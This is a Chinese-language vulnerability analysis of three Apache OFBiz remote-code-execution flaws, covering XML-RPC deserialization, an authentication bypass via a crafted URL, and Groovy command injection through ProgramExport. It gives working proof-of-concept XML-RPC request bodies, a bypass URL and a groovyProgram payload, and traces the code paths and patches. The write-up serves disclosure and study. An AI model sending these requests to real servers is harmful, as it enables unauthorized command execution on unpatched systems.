1-1. 前言
官方公告:
https://issues.apache.org/jira/browse/OFBIZ-11716
漏洞描述:
由于 webtools 中的 2 个 xmlrpc 相关请求(xmlrpc 和 ping)未使用身份验证,以及未对传入XML-RPC消息进行校验,所以容易受到不安全反序列化的影响。
影响版本:
Apache OfBiz 17.12.03
1-2. xml-rpc请求格式
XML内容的根元素是<methodCall>,每个<methodCall>元素都包含一个<methodName>元素和一个<params>元素。<methodName>元素标识要调用的过程的名称,而<params>元素包含参数列表和值。每个<params>元素包括一个<param>元素列表,而<param>元素又包含值元素。
示例:
<methodCall>
<methodName>方法名</methodName>
<params>
<param>
<value>
值元素
</value>
</param>
</params>
</methodCall>
-
int:<int>27</int>, <i4>27</i4>
-
double:<double>27.31415</double>, <double>-1.1465</double>
-
Boolean:<boolean>1</boolean>, <boolean>0</boolean>
-
string:<string>Hello</string>, <string>bonkers! @</string>
-
dateTime.iso8601:<dateTime.iso8601> 20021125T02:20:04 </dateTime.iso8601>
-
base64:<base64>SGVsbG8sIFdvcmxkIQ==</base64>
<array>
<data>
<value><boolean>1</boolean></value>
<value><string>Array collection, eh?</string></value>
<value><int>-91</int></value>
<value><double>142.14325</double></value>
</data>
</array>
结构<struct>通常用来传递复杂的数据结构(键-值对形式):
<struct>
<member>
<name>键1</name>
<value><string>值1</string></value>
</member>
<member>
<name>键2</name>
<value><int>值2</int></value>
</member>
</struct>
参考链接:
https://www.yiibai.com/xml-rpc/xml_rpc_data_model.html
1-3. 环境搭建
解压后用IDEA打开,build之后会生成一个biuld目录,添加配置ofbiz.jar;
能成功访问https://localhost:8443/webtools就说明环境搭好了。
Apache OFBiz 结构简单介绍:
Controller.xml:定义view,controller之间的映射关系,不仅包含了请求的映射关系,同时还包含了视图的映射关系,以及一系列的处理器比如视图解析处理器,事件处理器等。
1-4. 漏洞复现
POST请求/webtools/control/xmlrpc,使用ysoserial工具生成一个 CommonsBeanutils1 链的payload,要用base64编码。
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
base64 payload
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
发送请求,dnslog成功收到请求信息。
1-5. 漏洞分析
入口/webtools/control/xmlrpc的路由配置在frameworkwebtoolswebappwebtoolsWEB-INFweb.xml,由ControlServlet处理;
直接下断点开始跟踪调试,提取了一堆值,然后调用requestHandler.doRequest()处理具体请求;
跟进,requestMap是从frameworkwebtoolswebappwebtoolsWEB-INFcontroller.xml中获取到的xmlrpc相关处理器;
跟进RequestHandler.runEvent()方法,调用XmlRcpEventHandler处理 XML-RPC 请求,传递必要的参数,然后获取并保存事件处理器执行后的返回结果。
跟进,调用getRequest()获取信息对象;
先依次扫描<methodCall>、<methodName>、<params>、<param>、<value>元素标签,记录它的值;
读到<struct>标签,返回一个MapParser对象;
重复调用XmlRpcRequestParser.startElement(),继续读取元素标签及其值;
读到<serializable>标签和使用的XML-RPC 扩展库链接时,跟进到RecursiveTypeParserImpl.startElement(),只有当pURI与EXTENSIONS_URI相同时,才能匹配且返回SerializableParser对象,所以payload中必须要添加这个扩展库;
SerializableParser是继承ByteArrayParser的,所以跟进到ByteArrayParser.startElement(),创建了一个base64解码器,将payload解码写入baos中。
然后开始扫描结束标签,扫描到</serializable>标签,将payload的字节码设为result;
接着扫描到</value>标签,解析SerializableParser对象中的result添加到到结果中;
跟进SerializableParser.getResult(),对payload字节数组进行了反序列化,触发命令执行。
1-5-1. 使用 array 标签
前面使用的是 struct 结构传入数据,扫描到标签返回的是MapParser对象,MapParser.endElement()中调用了父类RecursiveTypeParserImpl.endValueTag(),进而调用SerializableParser.getResult()。
同理,ObjectArrayParser.endElement()中也调用了父类RecursiveTypeParserImpl.endValueTag(),所以也可以使用<array>标签构造传入数组数据触发反序列化。
poc:
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<array>
<data>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
base64 payload
</serializable>
</value>
</data>
</array>
</value>
</param>
</params>
</methodCall>
1-6. 补丁分析
补丁链接:https://github.com/apache/ofbiz-framework/commit/d955b03
在controller.xml中对/xmlrpc和/ping路由添加了身份校验。
https://issues.apache.org/jira/browse/OFBIZ-12332
又在后续补丁中添加CacheFilter对/control/xmlrpc和</serializable进行校验,但是还是可以绕过。
2-1. 前言
官方通告:
https://lists.apache.org/thread/jmbqk2lp4t4483whzndp5xqlq4f3otg3
漏洞描述:
由于对CVE-2020-9496修复的不完全,导致可以绕过路径检查和授权检查触发恶意数据的反序列化。
影响版本:
Apache OfBiz < 18.12.10
2-2. 漏洞复现
环境搭建操作与CVE-2020-9496一样,这里用18.12.09复现。
用CVE-2020-9496的poc进行测试,可以看到调用了CacheFilter进行路径和</serializable标签的检查,检查失败出现报错。
在url中略作修改,即可绕过路径检查和授权检查,成功执行命令。
/webtools/control/xmlrpc/;/?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y
说一下url的构造,这个请求结构如下:
-
路径信息:/webtools/control/xmlrpc/ -
矩阵参数:;/ -
查询参数:?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y
这里就是附加了一个参数/,或许将参数换成;1要好理解一点,效果一样的。
与查询参数不同的是,使用getRequestURI()的返回结果会包含矩阵参数,所以能绕过路径检测。但是getPathInfo()仍然只返回/xmlrpc/,不影响后面xmlrpc处理器的调用。
查询参数的内容则是绕过授权检查的必要条件。
2-3. 漏洞分析
在发送请求的时候会进入CacheFilter.doFilter(),因为在uri的末尾添加了/;/,所以不会进入if语句,也就不会对</serializable进行校验;
然后进入ControlServlet处理请求,在RequestHandler.doRequest()中,securityAuth就是指Controller.xml中的security标签的值,为true则进入if分支;
跟进,调用JavaEventHandler处理该事件;
进入LoginWorker.checkLogin(),如果检测到是未登录状态,则直接从请求中获取USERNAME和PASSWORD参数的值,如果值为null,则会进入343行的if语句,返回error,表示校验失败;
参数值不为null,还需要使login(request, response)不返回error。
进入login(),从请求中获取了requirePasswordChange参数的值,执行登录操作时由于传入的用户名是随便构造的,所以返回“没有找到用户”,登录失败,进入else分支;
最后根据requirePasswordChange的值判断是返回参数值还是error,所以只要传入requirePasswordChange为true,这里就可以返回true了。
回到checkLogin(),uri中不包含loginout,security.login.authorised.during.impersonate默认为false,登录历史也为null,所以跳过if语句,最后返回success,成功绕过登录检测。
后面的反序列化调用过程就与CVE-2020-9496一样了。
2-4. 补丁分析
补丁链接:https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27
在补丁中删除了XML-RPC的相关引用。
3-1. 前言
官方公告:
https://issues.apache.org/jira/browse/OFBIZ-12873
漏洞描述:
仍然是基于对CVE-2020-9496修复的不完全,导致可以绕过路径检查和授权检查。以及对传入数据的校验不完善,导致可以通过groovy实现命令执行。
影响版本:
Apache OfBiz < 18.12.11
3-2. 漏洞复现
添加groovyProgram参数传入要执行的命令,payload:
/webtools/control/ProgramExport?USERNAME=ofbiz&PASSWORD=blckder02&requirePasswordChange=Y&groovyProgram='calc.exe'.execute()
3-3. 漏洞复现
授权检查绕过的过程与CVE-2023-49070的一致,这里就不重复了。
从绕过授权后开始看,在RequestHandler.doRequest()中,requestUri为ProgramExport,获取到对应的requestMap,又从中获取到success对应的响应,赋给了nextRequestResponse;
在controller.xml中定义了响应类型为view,名称为ProgramExport,然后调用renderView()进行视图渲染。
跟进renderView(),从controller.xml中获取名称为ProgramExport的视图映射,定义在 component://webtools/widget/EntityScreens.xml#ProgramExport文件中;
获取到screen类型的视图处理器;
一直跟进,从EntityScreens.xml中获取到了ProgramExport对应的脚本文件位置component://webtools/groovyScripts/entity/ProgramExport.groovy,当遍历到此文件时跟进;
检测到文件后缀为.groovy,运行这个脚本文件;
进入ProgramExport.groovy,从传入的参数中获取到了groovyProgram参数值,最后调用evaluate()执行命令。
其中还调用了SecuredUpload.isValidText()对groovyProgram进行黑白名单校验,黑名单内容来自frameworksecurityconfigsecurity.properties#deniedWebShellTokens,白名单就是import。
3-4. 补丁分析
补丁地址:https://github.com/apache/ofbiz-framework/commit/ee02a33509
修复了授权检查的地方,在登录失败后直接返回error,而不是再去判断requirePasswordChange的值。
参考链接:
原文始发于微信公众号(中孚安全技术研究):Apache OFBiz 命令执行漏洞分析